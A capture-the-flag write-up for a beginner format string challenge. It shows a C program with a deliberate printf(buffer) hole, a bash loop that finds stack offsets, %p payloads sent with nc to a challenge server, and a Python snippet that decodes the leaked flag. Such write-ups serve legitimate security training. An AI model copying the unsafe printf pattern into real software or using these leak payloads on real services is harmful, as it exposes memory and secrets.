Cyber Skills Level-Up
- Date: December 28, 2024 → December 29, 2024
PWN warm up
- Challenge Name: PWN warm up
- Category: PWN
This challenge involves a binary vulnerable to format string exploitation. The binary loads a flag file into memory before handling user input, which is directly printed using a format string vulnerability.
Analysis
Here is the source code for the binary (chall.c):
//gcc -fno-pie -no-pie -fno-stack-protector ./chall.c -o chall
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void vuln()
{
char buffer[16];
char flag[16];
FILE *file = fopen("./flag", "r");
if (file == NULL) {
perror("Error opening ./flag");
return;
}
fscanf(file, "%15s", flag);
printf("u give input, i print out your input\n");
printf("Input: ");
fgets(buffer, sizeof(buffer), stdin);
printf("Your input is: ");
printf(buffer); // Vulnerable line
return;
}
int main()
{
initialize();
vuln();
return 0;
}Vulnerability Details
- Format String Vulnerability: The
printf(buffer);call in thevuln()function directly prints user input without specifying a format string. This allows attackers to exploit format string specifiers like%pto leak memory addresses or other sensitive data. - Flag Handling: The
flagis read into a stack buffer (flag[16]) before user input is processed. This means the flag resides in memory and can potentially be leaked through the vulnerability.
Flag Retrieval Steps
To test the format string vulnerability, initially, an error occurs due to the absence of the flag file:
┌──(kali㉿kali)-[~/CSLU/PWN1]
└─$ ./chall
Error opening ./flag: No such file or directoryTo proceed, a dummy flag file is placed in the same directory:
┌──(kali㉿kali)-[~/CSLU/PWN1]
└─$ echo "FLAG" > flag
┌──(kali㉿kali)-[~/CSLU/PWN1]
└─$ cat flag
FLAGRunning the binary and providing %p as input confirms the vulnerability:
./chall
Input: %p %p %p %p %p
Your input is: 0x7ffe02d61b60 (nil) (nil) 0x1 (nil)To determine the correct offset for the format string vulnerability, a script (findOffset.sh) can be used:
#!/bin/bash
for i in $(seq 100)
do
echo "Offset $i : %$i\$p" | ./chall
doneRunning this script reveals the flag's offset. For instance:
┌──(kali㉿kali)-[~/CSLU/PWN1]
└─$ ./findOffset.sh | grep "47414c46"
Input: Your input is: Offset 6 : 0x47414c46 u give input, i print out your inputThe result shows the flag's hex representation (e.g., 47414c46 for FLAG, reversed due to little-endianness). The first 8 bytes of the flag are at offset 6, and the next 8 bytes are at offset 7.
Using the determined offsets, the full flag can be reconstructed. For example:
┌──(kali㉿kali)-[~/CSLU/PWN1]
└─$ nc 5.75.155.50 10001
u give input, i print out your input
Input: %6$p
Your input is: 0x726f667b554c5343
┌──(kali㉿kali)-[~/CSLU/PWN1]
└─$ nc 5.75.155.50 10001
u give input, i print out your input
Input: %7$p
Your input is: 0x7d72747374346dThen, use Python to convert and reverse the bytes:
import struct
flag_part1 = struct.pack("<Q", 0x726f667b554c5343).decode()
flag_part2 = struct.pack("<Q", 0x7d72747374346d).decode() # Replace with the next leak
flag = flag_part1 + flag_part2
print(flag)Result:
┌──(kali㉿kali)-[~/CSLU/PWN1]
└─$ python3 hexToBytes_FlipLittleEndianness.py
CSLU{form4tstr}